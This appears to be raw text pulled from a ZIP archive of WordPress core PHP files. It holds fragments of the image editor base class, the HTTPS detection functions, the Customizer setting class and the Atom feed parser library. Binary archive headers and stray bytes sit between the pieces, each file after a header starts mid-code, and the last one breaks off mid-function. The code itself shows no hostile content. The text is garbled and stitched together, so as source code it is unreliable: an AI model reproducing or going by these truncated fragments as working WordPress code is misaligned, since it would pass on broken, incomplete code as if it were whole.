$filename, $new_ext, $mime_type ); } /** * Builds an output filename based on current file, and adding proper suffix * * @since 3.5.0 * @since 6.8.0 Passing an empty string as $suffix will now omit the suffix from the generated filename. * * @param string $suffix * @param string $dest_path * @param string $extension * @return string filename */ public function generate_filename( $suffix = null, $dest_path = null, $extension = null ) { // If not empty the $suffix will be appended to the destination filename, just before the extension. if ( $suffix ) { $suffix = '-' . $suffix; } elseif ( '' !== $suffix ) { $suffix = '-' . $this->get_suffix(); } $dir = pathinfo( $this->file, PATHINFO_DIRNAME ); $ext = pathinfo( $this->file, PATHINFO_EXTENSION ); $name = wp_basename( $this->file, ".$ext" ); $new_ext = strtolower( $extension ? $extension : $ext ); if ( ! is_null( $dest_path ) ) { if ( ! wp_is_stream( $dest_path ) ) { $_dest_path = realpath( $dest_path ); if ( $_dest_path ) { $dir = $_dest_path; } } else { $dir = $dest_path; } } return trailingslashit( $dir ) . "{$name}{$suffix}.{$new_ext}"; } /** * Builds and returns proper suffix for file based on height and width. * * @since 3.5.0 * * @return string|false suffix */ public function get_suffix() { if ( ! $this->get_size() ) { return false; } return "{$this->size['width']}x{$this->size['height']}"; } /** * Check if a JPEG image has EXIF Orientation tag and rotate it if needed. * * @since 5.3.0 * * @return bool|WP_Error True if the image was rotated. False if not rotated (no EXIF data or the image doesn't need to be rotated). * WP_Error if error while rotating. */ public function maybe_exif_rotate() { $orientation = null; if ( is_callable( 'exif_read_data' ) && 'image/jpeg' === $this->mime_type ) { $exif_data = @exif_read_data( $this->file ); if ( ! empty( $exif_data['Orientation'] ) ) { $orientation = (int) $exif_data['Orientation']; } } /** * Filters the `$orientation` value to correct it before rotating or to prevent rotating the image. * * @since 5.3.0 * * @param int $orientation EXIF Orientation value as retrieved from the image file. * @param string $file Path to the image file. */ $orientation = apply_filters( 'wp_image_maybe_exif_rotate', $orientation, $this->file ); if ( ! $orientation || 1 === $orientation ) { return false; } switch ( $orientation ) { case 2: // Flip horizontally. $result = $this->flip( false, true ); break; case 3: /* * Rotate 180 degrees or flip horizontally and vertically. * Flipping seems faster and uses less resources. */ $result = $this->flip( true, true ); break; case 4: // Flip vertically. $result = $this->flip( true, false ); break; case 5: // Rotate 90 degrees counter-clockwise and flip vertically. $result = $this->rotate( 90 ); if ( ! is_wp_error( $result ) ) { $result = $this->flip( true, false ); } break; case 6: // Rotate 90 degrees clockwise (270 counter-clockwise). $result = $this->rotate( 270 ); break; case 7: // Rotate 90 degrees counter-clockwise and flip horizontally. $result = $this->rotate( 90 ); if ( ! is_wp_error( $result ) ) { $result = $this->flip( false, true ); } break; case 8: // Rotate 90 degrees counter-clockwise. $result = $this->rotate( 90 ); break; } return $result; } /** * Either calls editor's save function or handles file as a stream. * * @since 3.5.0 * * @param string $filename * @param callable $callback * @param array $arguments * @return bool */ protected function make_image( $filename, $callback, $arguments ) { $stream = wp_is_stream( $filename ); if ( $stream ) { ob_start(); } else { // The directory containing the original file may no longer exist when using a replication plugin. wp_mkdir_p( dirname( $filename ) ); } $result = call_user_func_array( $callback, $arguments ); if ( $result && $stream ) { $contents = ob_get_contents(); $fp = fopen( $filename, 'w' ); if ( ! $fp ) { ob_end_clean(); return false; } fwrite( $fp, $contents ); fclose( $fp ); } if ( $stream ) { ob_end_clean(); } return $result; } /** * Returns first matched mime-type from extension, * as mapped from wp_get_mime_types() * * @since 3.5.0 * * @param string $extension * @return string|false */ protected static function get_mime_type( $extension = null ) { if ( ! $extension ) { return false; } $mime_types = wp_get_mime_types(); $extensions = array_keys( $mime_types ); foreach ( $extensions as $_extension ) { if ( preg_match( "/{$extension}/i", $_extension ) ) { return $mime_types[ $_extension ]; } } return false; } /** * Returns first matched extension from Mime-type, * as mapped from wp_get_mime_types() * * @since 3.5.0 * * @param string $mime_type * @return string|false */ protected static function get_extension( $mime_type = null ) { if ( empty( $mime_type ) ) { return false; } return wp_get_default_extension_for_mime_type( $mime_type ); } } PK!@<˜ïááhttps-detection.phpnuȯÝíerrors; } $support_errors = new WP_Error(); $response = wp_remote_request( home_url( '/', 'https' ), array( 'headers' => array( 'Cache-Control' => 'no-cache', ), 'sslverify' => true, ) ); if ( is_wp_error( $response ) ) { $unverified_response = wp_remote_request( home_url( '/', 'https' ), array( 'headers' => array( 'Cache-Control' => 'no-cache', ), 'sslverify' => false, ) ); if ( is_wp_error( $unverified_response ) ) { $support_errors->add( 'https_request_failed', __( 'HTTPS request failed.' ) ); } else { $support_errors->add( 'ssl_verification_failed', __( 'SSL verification failed.' ) ); } $response = $unverified_response; } if ( ! is_wp_error( $response ) ) { if ( 200 !== wp_remote_retrieve_response_code( $response ) ) { $support_errors->add( 'bad_response_code', wp_remote_retrieve_response_message( $response ) ); } elseif ( false === wp_is_local_html_output( wp_remote_retrieve_body( $response ) ) ) { $support_errors->add( 'bad_response_source', __( 'It looks like the response did not come from this site.' ) ); } } return $support_errors->errors; } /** * Checks whether a given HTML string is likely an output from this WordPress site. * * This function attempts to check for various common WordPress patterns whether they are included in the HTML string. * Since any of these actions may be disabled through third-party code, this function may also return null to indicate * that it was not possible to determine ownership. * * @since 5.7.0 * @access private * * @param string $html Full HTML output string, e.g. from a HTTP response. * @return bool|null True/false for whether HTML was generated by this site, null if unable to determine. */ function wp_is_local_html_output( $html ) { // 1. Check if HTML includes the site's Really Simple Discovery link. if ( has_action( 'wp_head', 'rsd_link' ) ) { $pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) ); // See rsd_link(). return str_contains( $html, $pattern ); } // 2. Check if HTML includes the site's REST API link. if ( has_action( 'wp_head', 'rest_output_link_wp_head' ) ) { // Try both HTTPS and HTTP since the URL depends on context. $pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( get_rest_url() ) ); // See rest_output_link_wp_head(). return str_contains( $html, $pattern ); } // Otherwise the result cannot be determined. return null; } PK!(’ÊÏ u uclass-wp-customize-setting.phpnuȯÝí$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; // Parse the ID for array keys. $this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) ); $this->id_data['base'] = array_shift( $this->id_data['keys'] ); // Rebuild the ID. $this->id = $this->id_data['base']; if ( ! empty( $this->id_data['keys'] ) ) { $this->id .= '[' . implode( '][', $this->id_data['keys'] ) . ']'; } if ( $this->validate_callback ) { add_filter( "customize_validate_{$this->id}", $this->validate_callback, 10, 3 ); } if ( $this->sanitize_callback ) { add_filter( "customize_sanitize_{$this->id}", $this->sanitize_callback, 10, 2 ); } if ( $this->sanitize_js_callback ) { add_filter( "customize_sanitize_js_{$this->id}", $this->sanitize_js_callback, 10, 2 ); } if ( 'option' === $this->type || 'theme_mod' === $this->type ) { // Other setting types can opt-in to aggregate multidimensional explicitly. $this->aggregate_multidimensional(); // Allow option settings to indicate whether they should be autoloaded. if ( 'option' === $this->type && isset( $args['autoload'] ) ) { self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] = $args['autoload']; } } } /** * Get parsed ID data for multidimensional setting. * * @since 4.4.0 * * @return array { * ID data for multidimensional setting. * * @type string $base ID base * @type array $keys Keys for multidimensional array. * } */ final public function id_data() { return $this->id_data; } /** * Set up the setting for aggregated multidimensional values. * * When a multidimensional setting gets aggregated, all of its preview and update * calls get combined into one call, greatly improving performance. * * @since 4.4.0 */ protected function aggregate_multidimensional() { $id_base = $this->id_data['base']; if ( ! isset( self::$aggregated_multidimensionals[ $this->type ] ) ) { self::$aggregated_multidimensionals[ $this->type ] = array(); } if ( ! isset( self::$aggregated_multidimensionals[ $this->type ][ $id_base ] ) ) { self::$aggregated_multidimensionals[ $this->type ][ $id_base ] = array( 'previewed_instances' => array(), // Calling preview() will add the $setting to the array. 'preview_applied_instances' => array(), // Flags for which settings have had their values applied. 'root_value' => $this->get_root_value( array() ), // Root value for initial state, manipulated by preview and update calls. ); } if ( ! empty( $this->id_data['keys'] ) ) { // Note the preview-applied flag is cleared at priority 9 to ensure it is cleared before a deferred-preview runs. add_action( "customize_post_value_set_{$this->id}", array( $this, '_clear_aggregated_multidimensional_preview_applied_flag' ), 9 ); $this->is_multidimensional_aggregated = true; } } /** * Reset `$aggregated_multidimensionals` static variable. * * This is intended only for use by unit tests. * * @since 4.5.0 * @ignore */ public static function reset_aggregated_multidimensionals() { self::$aggregated_multidimensionals = array(); } /** * The ID for the current site when the preview() method was called. * * @since 4.2.0 * @var int */ protected $_previewed_blog_id; /** * Return true if the current site is not the same as the previewed site. * * @since 4.2.0 * * @return bool If preview() has been called. */ public function is_current_blog_previewed() { if ( ! isset( $this->_previewed_blog_id ) ) { return false; } return ( get_current_blog_id() === $this->_previewed_blog_id ); } /** * Original non-previewed value stored by the preview method. * * @see WP_Customize_Setting::preview() * @since 4.1.1 * @var mixed */ protected $_original_value; /** * Add filters to supply the setting's value when accessed. * * If the setting already has a pre-existing value and there is no incoming * post value for the setting, then this method will short-circuit since * there is no change to preview. * * @since 3.4.0 * @since 4.4.0 Added boolean return value. * * @return bool False when preview short-circuits due no change needing to be previewed. */ public function preview() { if ( ! isset( $this->_previewed_blog_id ) ) { $this->_previewed_blog_id = get_current_blog_id(); } // Prevent re-previewing an already-previewed setting. if ( $this->is_previewed ) { return true; } $id_base = $this->id_data['base']; $is_multidimensional = ! empty( $this->id_data['keys'] ); $multidimensional_filter = array( $this, '_multidimensional_preview_filter' ); /* * Check if the setting has a pre-existing value (an isset check), * and if doesn't have any incoming post value. If both checks are true, * then the preview short-circuits because there is nothing that needs * to be previewed. */ $undefined = new stdClass(); $needs_preview = ( $undefined !== $this->post_value( $undefined ) ); $value = null; // Since no post value was defined, check if we have an initial value set. if ( ! $needs_preview ) { if ( $this->is_multidimensional_aggregated ) { $root = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $value = $this->multidimensional_get( $root, $this->id_data['keys'], $undefined ); } else { $default = $this->default; $this->default = $undefined; // Temporarily set default to undefined so we can detect if existing value is set. $value = $this->value(); $this->default = $default; } $needs_preview = ( $undefined === $value ); // Because the default needs to be supplied. } // If the setting does not need previewing now, defer to when it has a value to preview. if ( ! $needs_preview ) { if ( ! has_action( "customize_post_value_set_{$this->id}", array( $this, 'preview' ) ) ) { add_action( "customize_post_value_set_{$this->id}", array( $this, 'preview' ) ); } return false; } switch ( $this->type ) { case 'theme_mod': if ( ! $is_multidimensional ) { add_filter( "theme_mod_{$id_base}", array( $this, '_preview_filter' ) ); } else { if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { // Only add this filter once for this ID base. add_filter( "theme_mod_{$id_base}", $multidimensional_filter ); } self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'][ $this->id ] = $this; } break; case 'option': if ( ! $is_multidimensional ) { add_filter( "pre_option_{$id_base}", array( $this, '_preview_filter' ) ); } else { if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { // Only add these filters once for this ID base. add_filter( "option_{$id_base}", $multidimensional_filter ); add_filter( "default_option_{$id_base}", $multidimensional_filter ); } self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'][ $this->id ] = $this; } break; default: /** * Fires when the WP_Customize_Setting::preview() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->id`, refers to the setting ID. * * @since 3.4.0 * * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ do_action( "customize_preview_{$this->id}", $this ); /** * Fires when the WP_Customize_Setting::preview() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->type`, refers to the setting type. * * @since 4.1.0 * * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ do_action( "customize_preview_{$this->type}", $this ); } $this->is_previewed = true; return true; } /** * Clear out the previewed-applied flag for a multidimensional-aggregated value whenever its post value is updated. * * This ensures that the new value will get sanitized and used the next time * that `WP_Customize_Setting::_multidimensional_preview_filter()` * is called for this setting. * * @since 4.4.0 * * @see WP_Customize_Manager::set_post_value() * @see WP_Customize_Setting::_multidimensional_preview_filter() */ final public function _clear_aggregated_multidimensional_preview_applied_flag() { unset( self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['preview_applied_instances'][ $this->id ] ); } /** * Callback function to filter non-multidimensional theme mods and options. * * If switch_to_blog() was called after the preview() method, and the current * site is now not the same site, then this method does a no-op and returns * the original value. * * @since 3.4.0 * * @param mixed $original Old value. * @return mixed New or old value. */ public function _preview_filter( $original ) { if ( ! $this->is_current_blog_previewed() ) { return $original; } $undefined = new stdClass(); // Symbol hack. $post_value = $this->post_value( $undefined ); if ( $undefined !== $post_value ) { $value = $post_value; } else { /* * Note that we don't use $original here because preview() will * not add the filter in the first place if it has an initial value * and there is no post value. */ $value = $this->default; } return $value; } /** * Callback function to filter multidimensional theme mods and options. * * For all multidimensional settings of a given type, the preview filter for * the first setting previewed will be used to apply the values for the others. * * @since 4.4.0 * * @see WP_Customize_Setting::$aggregated_multidimensionals * @param mixed $original Original root value. * @return mixed New or old value. */ final public function _multidimensional_preview_filter( $original ) { if ( ! $this->is_current_blog_previewed() ) { return $original; } $id_base = $this->id_data['base']; // If no settings have been previewed yet (which should not be the case, since $this is), just pass through the original value. if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { return $original; } foreach ( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] as $previewed_setting ) { // Skip applying previewed value for any settings that have already been applied. if ( ! empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['preview_applied_instances'][ $previewed_setting->id ] ) ) { continue; } // Do the replacements of the posted/default sub value into the root value. $value = $previewed_setting->post_value( $previewed_setting->default ); $root = self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['root_value']; $root = $previewed_setting->multidimensional_replace( $root, $previewed_setting->id_data['keys'], $value ); self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['root_value'] = $root; // Mark this setting having been applied so that it will be skipped when the filter is called again. self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['preview_applied_instances'][ $previewed_setting->id ] = true; } return self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; } /** * Checks user capabilities and theme supports, and then saves * the value of the setting. * * @since 3.4.0 * * @return void|false Void on success, false if cap check fails * or value isn't set or is invalid. */ final public function save() { $value = $this->post_value(); if ( ! $this->check_capabilities() || ! isset( $value ) ) { return false; } $id_base = $this->id_data['base']; /** * Fires when the WP_Customize_Setting::save() method is called. * * The dynamic portion of the hook name, `$id_base` refers to * the base slug of the setting name. * * @since 3.4.0 * * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ do_action( "customize_save_{$id_base}", $this ); $this->update( $value ); } /** * Fetch and sanitize the $_POST value for the setting. * * During a save request prior to save, post_value() provides the new value while value() does not. * * @since 3.4.0 * * @param mixed $default_value A default value which is used as a fallback. Default null. * @return mixed The default value on failure, otherwise the sanitized and validated value. */ final public function post_value( $default_value = null ) { return $this->manager->post_value( $this, $default_value ); } /** * Sanitize an input. * * @since 3.4.0 * * @param string|array $value The value to sanitize. * @return string|array|null|WP_Error Sanitized value, or `null`/`WP_Error` if invalid. */ public function sanitize( $value ) { /** * Filters a Customize setting value in un-slashed form. * * @since 3.4.0 * * @param mixed $value Value of the setting. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ return apply_filters( "customize_sanitize_{$this->id}", $value, $this ); } /** * Validates an input. * * @since 4.6.0 * * @see WP_REST_Request::has_valid_params() * * @param mixed $value Value to validate. * @return true|WP_Error True if the input was validated, otherwise WP_Error. */ public function validate( $value ) { if ( is_wp_error( $value ) ) { return $value; } if ( is_null( $value ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value.' ) ); } $validity = new WP_Error(); /** * Validates a Customize setting value. * * Plugins should amend the `$validity` object via its `WP_Error::add()` method. * * The dynamic portion of the hook name, `$this->ID`, refers to the setting ID. * * @since 4.6.0 * * @param WP_Error $validity Filtered from `true` to `WP_Error` when invalid. * @param mixed $value Value of the setting. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ $validity = apply_filters( "customize_validate_{$this->id}", $validity, $value, $this ); if ( is_wp_error( $validity ) && ! $validity->has_errors() ) { $validity = true; } return $validity; } /** * Get the root value for a setting, especially for multidimensional ones. * * @since 4.4.0 * * @param mixed $default_value Value to return if root does not exist. * @return mixed */ protected function get_root_value( $default_value = null ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type ) { return get_option( $id_base, $default_value ); } elseif ( 'theme_mod' === $this->type ) { return get_theme_mod( $id_base, $default_value ); } else { /* * Any WP_Customize_Setting subclass implementing aggregate multidimensional * will need to override this method to obtain the data from the appropriate * location. */ return $default_value; } } /** * Set the root value for a setting, especially for multidimensional ones. * * @since 4.4.0 * * @param mixed $value Value to set as root of multidimensional setting. * @return bool Whether the multidimensional root was updated successfully. */ protected function set_root_value( $value ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type ) { $autoload = true; if ( isset( self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] ) ) { $autoload = self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload']; } return update_option( $id_base, $value, $autoload ); } elseif ( 'theme_mod' === $this->type ) { set_theme_mod( $id_base, $value ); return true; } else { /* * Any WP_Customize_Setting subclass implementing aggregate multidimensional * will need to override this method to obtain the data from the appropriate * location. */ return false; } } /** * Save the value of the setting, using the related API. * * @since 3.4.0 * * @param mixed $value The value to update. * @return bool The result of saving the value. */ protected function update( $value ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type || 'theme_mod' === $this->type ) { if ( ! $this->is_multidimensional_aggregated ) { return $this->set_root_value( $value ); } else { $root = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $root = $this->multidimensional_replace( $root, $this->id_data['keys'], $value ); self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'] = $root; return $this->set_root_value( $root ); } } else { /** * Fires when the WP_Customize_Setting::update() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->type`, refers to the type of setting. * * @since 3.4.0 * * @param mixed $value Value of the setting. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ do_action( "customize_update_{$this->type}", $value, $this ); return has_action( "customize_update_{$this->type}" ); } } /** * Deprecated method. * * @since 3.4.0 * @deprecated 4.4.0 Deprecated in favor of update() method. */ protected function _update_theme_mod() { _deprecated_function( __METHOD__, '4.4.0', __CLASS__ . '::update()' ); } /** * Deprecated method. * * @since 3.4.0 * @deprecated 4.4.0 Deprecated in favor of update() method. */ protected function _update_option() { _deprecated_function( __METHOD__, '4.4.0', __CLASS__ . '::update()' ); } /** * Fetch the value of the setting. * * @since 3.4.0 * * @return mixed The value. */ public function value() { $id_base = $this->id_data['base']; $is_core_type = ( 'option' === $this->type || 'theme_mod' === $this->type ); if ( ! $is_core_type && ! $this->is_multidimensional_aggregated ) { // Use post value if previewed and a post value is present. if ( $this->is_previewed ) { $value = $this->post_value( null ); if ( null !== $value ) { return $value; } } $value = $this->get_root_value( $this->default ); /** * Filters a Customize setting value not handled as a theme_mod or option. * * The dynamic portion of the hook name, `$id_base`, refers to * the base slug of the setting name, initialized from `$this->id_data['base']`. * * For settings handled as theme_mods or options, see those corresponding * functions for available hooks. * * @since 3.4.0 * @since 4.6.0 Added the `$this` setting instance as the second parameter. * * @param mixed $default_value The setting default value. Default empty. * @param WP_Customize_Setting $setting The setting instance. */ $value = apply_filters( "customize_value_{$id_base}", $value, $this ); } elseif ( $this->is_multidimensional_aggregated ) { $root_value = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $value = $this->multidimensional_get( $root_value, $this->id_data['keys'], $this->default ); // Ensure that the post value is used if the setting is previewed, since preview filters aren't applying on cached $root_value. if ( $this->is_previewed ) { $value = $this->post_value( $value ); } } else { $value = $this->get_root_value( $this->default ); } return $value; } /** * Sanitize the setting's value for use in JavaScript. * * @since 3.4.0 * * @return mixed The requested escaped value. */ public function js_value() { /** * Filters a Customize setting value for use in JavaScript. * * The dynamic portion of the hook name, `$this->id`, refers to the setting ID. * * @since 3.4.0 * * @param mixed $value The setting value. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ $value = apply_filters( "customize_sanitize_js_{$this->id}", $this->value(), $this ); if ( is_string( $value ) ) { return html_entity_decode( $value, ENT_QUOTES, 'UTF-8' ); } return $value; } /** * Retrieves the data to export to the client via JSON. * * @since 4.6.0 * * @return array Array of parameters passed to JavaScript. */ public function json() { return array( 'value' => $this->js_value(), 'transport' => $this->transport, 'dirty' => $this->dirty, 'type' => $this->type, ); } /** * Validate user capabilities whether the theme supports the setting. * * @since 3.4.0 * * @return bool False if theme doesn't support the setting or user can't change setting, otherwise true. */ final public function check_capabilities() { if ( $this->capability && ! current_user_can( $this->capability ) ) { return false; } if ( $this->theme_supports && ! current_theme_supports( ...(array) $this->theme_supports ) ) { return false; } return true; } /** * Multidimensional helper function. * * @since 3.4.0 * * @param array $root * @param array $keys * @param bool $create Default false. * @return array|void Keys are 'root', 'node', and 'key'. */ final protected function multidimensional( &$root, $keys, $create = false ) { if ( $create && empty( $root ) ) { $root = array(); } if ( ! isset( $root ) || empty( $keys ) ) { return; } $last = array_pop( $keys ); $node = &$root; foreach ( $keys as $key ) { if ( $create && ! isset( $node[ $key ] ) ) { $node[ $key ] = array(); } if ( ! is_array( $node ) || ! isset( $node[ $key ] ) ) { return; } $node = &$node[ $key ]; } if ( $create ) { if ( ! is_array( $node ) ) { // Account for an array overriding a string or object value. $node = array(); } if ( ! isset( $node[ $last ] ) ) { $node[ $last ] = array(); } } if ( ! isset( $node[ $last ] ) ) { return; } return array( 'root' => &$root, 'node' => &$node, 'key' => $last, ); } /** * Will attempt to replace a specific value in a multidimensional array. * * @since 3.4.0 * * @param array $root * @param array $keys * @param mixed $value The value to update. * @return mixed */ final protected function multidimensional_replace( $root, $keys, $value ) { if ( ! isset( $value ) ) { return $root; } elseif ( empty( $keys ) ) { // If there are no keys, we're replacing the root. return $value; } $result = $this->multidimensional( $root, $keys, true ); if ( isset( $result ) ) { $result['node'][ $result['key'] ] = $value; } return $root; } /** * Will attempt to fetch a specific value from a multidimensional array. * * @since 3.4.0 * * @param array $root * @param array $keys * @param mixed $default_value A default value which is used as a fallback. Default null. * @return mixed The requested value or the default value. */ final protected function multidimensional_get( $root, $keys, $default_value = null ) { if ( empty( $keys ) ) { // If there are no keys, test the root. return isset( $root ) ? $root : $default_value; } $result = $this->multidimensional( $root, $keys ); return isset( $result ) ? $result['node'][ $result['key'] ] : $default_value; } /** * Will attempt to check if a specific value in a multidimensional array is set. * * @since 3.4.0 * * @param array $root * @param array $keys * @return bool True if value is set, false if not. */ final protected function multidimensional_isset( $root, $keys ) { $result = $this->multidimensional_get( $root, $keys ); return isset( $result ); } } /** * WP_Customize_Filter_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-filter-setting.php'; /** * WP_Customize_Header_Image_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-setting.php'; /** * WP_Customize_Background_Image_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-setting.php'; /** * WP_Customize_Nav_Menu_Item_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-setting.php'; /** * WP_Customize_Nav_Menu_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-setting.php'; PK!¿ƒÍ•/•/ atomlib.phpnuȯÝí * @version 0.4 * @since 2.3.0 */ /** * Structure that store common Atom Feed Properties * * @package AtomLib */ class AtomFeed { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); /** * Stores Entries * * @var array * @access public */ var $entries = array(); } /** * Structure that store Atom Entry Properties * * @package AtomLib */ class AtomEntry { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); } /** * AtomLib Atom Parser API * * @package AtomLib */ class AtomParser { var $NS = 'http://www.w3.org/2005/Atom'; var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights'); var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft'); var $debug = false; var $depth = 0; var $indent = 2; var $in_content; var $ns_contexts = array(); var $ns_decls = array(); var $content_ns_decls = array(); var $content_ns_contexts = array(); var $is_xhtml = false; var $is_html = false; var $is_text = true; var $skipped_div = false; var $FILE = "php://input"; var $feed; var $current; var $map_attrs_func; var $map_xmlns_func; var $error; var $content; /** * PHP5 constructor. */ function __construct() { $this->feed = new AtomFeed(); $this->current = null; $this->map_attrs_func = array( __CLASS__, 'map_attrs' ); $this->map_xmlns_func = array( __CLASS__, 'map_xmlns' ); } /** * PHP4 constructor. */ public function AtomParser() { self::__construct(); } /** * Map attributes to key="val" * * @param string $k Key * @param string $v Value * @return string */ public static function map_attrs($k, $v) { return "$k=\"$v\""; } /** * Map XML namespace to string. * * @param indexish $p XML Namespace element index * @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ] * @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"' */ public static function map_xmlns($p, $n) { $xd = "xmlns"; if( 0 < strlen($n[0]) ) { $xd .= ":{$n[0]}"; } return "{$xd}=\"{$n[1]}\""; } function _p($msg) { if($this->debug) { print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n"; } } function error_handler($log_level, $log_text, $error_file, $error_line) { $this->error = $log_text; } function parse() { set_error_handler(array(&$this, 'error_handler')); array_unshift($this->ns_contexts, array()); if ( ! function_exists( 'xml_parser_create_ns' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } $parser = xml_parser_create_ns(); xml_set_element_handler($parser, array($this, "start_element"), array($this, "end_element")); xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0); xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0); xml_set_character_data_handler($parser, array($this, "cdata")); xml_set_default_handler($parser, array($this, "_default")); xml_set_start_namespace_decl_handler($parser, array($this, "start_ns")); xml_set_end_namespace_decl_handler($parser, array($this, "end_ns")); $this->content = ''; $ret = true; $fp = fopen($this->FILE, "r"); while ($data = fread($fp, 4096)) { if($this->debug) $this->content .= $data; if(!xml_parse($parser, $data, feof($fp))) { /* translators: 1: Error message, 2: Line number. */ trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n", xml_error_string(xml_get_error_code($parser)), xml_get_current_line_number($parser))); $ret = false; break; } } fclose($fp); if (PHP_VERSION_ID < 80000) { // xml_parser_free() has no effect as of PHP 8.0. xml_parser_free($parser); } unset($parser); restore_error_handler(); return $ret; } function start_element($parser, $name, $attrs) { $name_parts = explode(":", $name); $tag = array_pop($name_parts); switch($name) { case $this->NS . ':feed': $this->current = $this->feed; break; case $this->NS . ':entry': $this->current = new AtomEntry(); break; }; $this->_p("start_element('$name')"); #$this->_p(print_r($this->ns_contexts,true)); #$this->_p('current(' . $this->current . ')'); array_unshift($this->ns_contexts, $this->ns_decls); $this->depth++; if(!empty($this->in_content)) { $this->content_ns_decls = array(); if($this->is_html || $this->is_text) trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup."); $attrs_prefix = array(); // resolve prefixes for attributes foreach($attrs as $key => $value) { $with_prefix = $this->ns_to_prefix($key, true); $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value); } $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix))); if(strlen($attrs_str) > 0) { $attrs_str = " " . $attrs_str; } $with_prefix = $this->ns_to_prefix($name); if(!$this->is_declared_content_ns($with_prefix[0])) { array_push($this->content_ns_decls, $with_prefix[0]); } $xmlns_str = ''; if(count($this->content_ns_decls) > 0) { array_unshift($this->content_ns_contexts, $this->content_ns_decls); $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0]))); if(strlen($xmlns_str) > 0) { $xmlns_str = " " . $xmlns_str; } } array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">")); } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) { $this->in_content = array(); $this->is_xhtml = $attrs['type'] == 'xhtml'; $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html'; $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text'; $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type'])); if(in_array('src',array_keys($attrs))) { $this->current->$tag = $attrs; } else { array_push($this->in_content, array($tag,$this->depth, $type)); } } else if($tag == 'link') { array_push($this->current->links, $attrs); } else if($tag == 'category') { array_push($this->current->categories, $attrs); } $this->ns_decls = array(); } function end_element($parser, $name) { $name_parts = explode(":", $name); $tag = array_pop($name_parts); $ccount = count($this->in_content); # if we are *in* content, then let's proceed to serialize it if(!empty($this->in_content)) { # if we are ending the original content element # then let's finalize the content if($this->in_content[0][0] == $tag && $this->in_content[0][1] == $this->depth) { $origtype = $this->in_content[0][2]; array_shift($this->in_content); $newcontent = array(); foreach($this->in_content as $c) { if(count($c) == 3) { array_push($newcontent, $c[2]); } else { if($this->is_xhtml || $this->is_text) { array_push($newcontent, $this->xml_escape($c)); } else { array_push($newcontent, $c); } } } if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) { $this->current->$tag = array($origtype, join('',$newcontent)); } 